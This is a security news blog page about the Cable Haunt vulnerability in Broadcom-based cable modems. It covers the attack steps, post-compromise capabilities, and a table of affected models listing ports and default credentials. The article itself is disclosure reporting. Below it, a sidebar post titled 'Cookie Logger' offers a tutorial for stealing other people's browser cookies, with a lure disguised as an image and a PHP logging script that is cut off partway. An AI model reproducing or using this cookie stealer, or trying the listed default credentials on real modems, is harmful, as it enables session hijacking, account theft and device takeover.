Skip to main content

Cable Haunt – Critical Vulnerability Let Hackers Control Cable Modems Remotely

Cable Haunt

Researchers discovered as critical vulnerability dubbed Cable Haunt affects cable modems from different manufacturers across the globe.
The vulnerability enables a remote attacker to gain complete control over the modem through its endpoint.
Successful exploitation allows attackers to intercept private messages, redirect traffic, or participate in botnets.
Cable Haunt vulnerability was discovered by a team of Danish security researchers in Broadcom cable modems.

Cable Haunt Attacks Middleware

The vulnerability targets the middleware running on the chip used in the Broadcom cable modems, the middleware is the real-time operating system in cable modems that runs all the networking tasks.
It affects multiple vendors as the same software being used by various cable modem manufacturers to create their cable modem firmware.
All the traffic goes through the cable modem middleware (CM), by gaining control over it attackers can manipulate any traffic going through the modem.

How the Attack Works

The attack is a two-step process: An attacker should gain access to the vulnerable endpoints through local networks such as browsers, this can be done by making the victim opening a malicious link in a browser.
The exploit not only the browser, but it can also be executed in any place where running the code can reach IP on the local network.
Next, the attacker needs to hit the vulnerable endpoint with buffer overflow attack, by creating a crafted message a remote attacker can manipulate the modem to execute arbitrary code specified by a remote attacker.
Once the code executed attackers can gain complete control over the modem and can perform various operation such as
  • Change default DNS server
  • Conduct remote man-in-the-middle attacks
  • Hot-swap code or even the entire firmware
  • Upload, flash, and upgrade firmware silently
  • Disable ISP firmware upgrade
  • Change every config file and settings
  • Get and Set SNMP OID values
  • Change all associated MAC Addresses
  • Change serial numbers
  • Be exploited in botnet

Modems Affected

Researchers estimated that “more than 200 million modems may be or might have been vulnerable in Europe alone and there is no way to track the vulnerability spread”.
Here is the list of vulnerable modems:
ModelFirmware VersionPortDefault Credentials
Sagemcom F@st 389050.10.19.*6080spectrum:spectrum (Authorization: Basic)
Sagemcom F@st 3686SIP_3.428.0-*6080spectrum:spectrum (Authorization: Basic)
Technicolor TC7230STEB 01.258080No authorization needed
Netgear C6250EMRV2.01.058080No authorization needed
Netgear CG3700EMRV2.01.038080No authorization needed
Sagemcom F@st 389005.76.6.3aunknownunknown
Sagemcom F@st 36864.83.0unknownunknown
COMPAL 7284E5.510.5.11unknownunknown
COMPAL 7486E5.510.5.11unknownunknown
Netgear CG3700EMRV2.01.058080No authorization needed
As the cable Haunt allows attackers to gain complete access to the modem it is hard to detect the infection as the attacker can hide the tracks.
Researchers also stated that there is no evidence of active exploitation, and this attack doesn’t break SSL/TLS encryption.
tool has been released to check whether your modem is vulnerable, the tool can be downloaded from here.
Here you find the detailed Technical report explaining the Cable Haunt vulnerability and the PoC of the attack.

Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h

Assembly Language Step-by-step: Programming with DOS and Linux-

(-Assembly Language Step-by-step: Programming with DOS and Linux-) The bestselling guide to assembly language-now updated and expanded to include coverage of Linux . This new edition of the bestselling guide to assembly programming now covers DOS and Linux! The Second Edition begins with a highly accessible overview of the internal operations of the Intel-based PC and systematically covers all the steps involved in writing, testing, and debugging assembly programs. Expert author Jeff Duntemann then presents working example programs for both the DOS and Linux operating systems using the popular free assembler NASM. He also includes valuable information on how to use procedures and macros, plus rare explanations of assembly-level coding for Linux, all of which combine to offer a comprehensive look at the complexities of assembly programming for Intel processors. Providing you with the foundation to create executable assembly language programs, this book: * Explains how to use NASM

Cookie Logger

         Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary